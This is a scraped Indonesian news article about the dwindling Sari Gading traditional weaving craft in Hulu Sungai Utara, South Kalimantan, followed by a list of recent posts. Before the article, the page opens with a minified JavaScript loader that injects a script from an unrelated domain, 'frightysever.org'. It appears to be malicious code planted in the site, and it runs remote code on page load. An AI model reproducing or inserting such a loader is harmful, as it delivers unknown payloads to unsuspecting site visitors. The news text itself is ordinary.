(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tersisa 7 Pengrajin, Kain Tenun Sari Gading Terancam Punah


AMUNTAI, Komunitas Smart Solution (KSS) Kabupaten Hulu Sungai Utara (HSU) berupaya untuk melestarikan dan meningkatkan produksi kain tenun tradisional khas Banjar. Pasalnya, kain tenun Sai Gading di Kabupaten HSU memudar digerus zaman.

Salah satu upaya pelestarian dengan menggelar workshop di Desa Sungai Tabukan -satu-satunya daerah pengrajin kain tenun Sari Gading-, Rabu (4/12), bersama sejumlah pengrajin dan warga.

Dari 15.009 jiwa penduduk di Kecamatan Sungai Tabukan, Kabupaten HSU kini hanya tersisa 7 pengrajin kain tenun Sari Gading. Itu pun telah lanjut usia, dimana keahliannya diwariskan secara turun temurun.

Selain itu banyaknya masyarakat yang tidak tahu keberadaan kain tenun Sari Gading, lantaran penggunaannya yang diyakini hanya terbatas untuk pengobatan dan kalangan tertentu.

Ketua Komunitas Smart Solution Ahmad Ismail mengatakan, kegiatan ini merupakan tindak lanjut dari Focus Group Discussion (FGD) yang menggali permasalahan pengrajin kain tenun Sari Gading di HSU.

Ia menambahkan, kegiatan ini dilaksanakan sehubungan dengan pelaksanaan kegiatan riset sebagai upaya pelaksanaan program BAKTI-Dayamaya oleh Kementerian Komunikasi dan Informatika melalui Komunitas Smart Solution di Kabupaten Hulu Sungai Utara.

“Kita ketahui bersama di tengah gerusan zaman, selama ini para pengrajin kain tenun tradisional khas Kalimantan Selatan kian langka, khususnya pengrajin tenun Sari Gading di Kabupaten Hulu Sungai Utara yang hanya ada di Kecamatan Sungai Tabukan mengalami kejadian serupa,” bebernya.

Adapun kegiatan yang dilaksanakan komunitas Smart Solution mulai dari riset untuk menggali potensi daerah, lewat Focus Group Discussion (FGD) bersama instansi terkait, hingga workshop dengan mendatangkan narasumber tenun dari Kabupaten Tanah Bumbu. Padahal, pekerjaan menenun di daerah Kalimantan Selatan sudah ada sejak berdirinya Kerajaan Negara Dipa di Amuntai yang merupakan awal mula terbentuknya Kabupaten HSU.

Tenun tradisional di daerah Banjar (Kalimantan Selatan) mencapai

puncak perkembangannya pada abad ke-19 M, yaitu ketika daerah ini mengirim/menjual benang lawai ke daerah Pulau Jawa. Kemudian pada permulaan abad ke 20, keadaan kain

tenun di Kalimantan Selatan khususnya dan Indonesia pada umumnya mengalami
kemunduran karena terdesak oleh kain tenun dari negeri Belanda yang produksinya sudah menggunakan mesin untuk alat menenun dan mempersiapkan bahan tenunnya.

Salah satu pengrajin kain tenun Sari Gading yang masih bertahan Nor Syaidah mengatakan, saat ini kain tenun Sari Gading hanya digunakan sebatas pengobatan untuk orang yang mempercainya, seperti sakit kepala, sakit pinggang, gatal-gatal, dan sebagainya. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.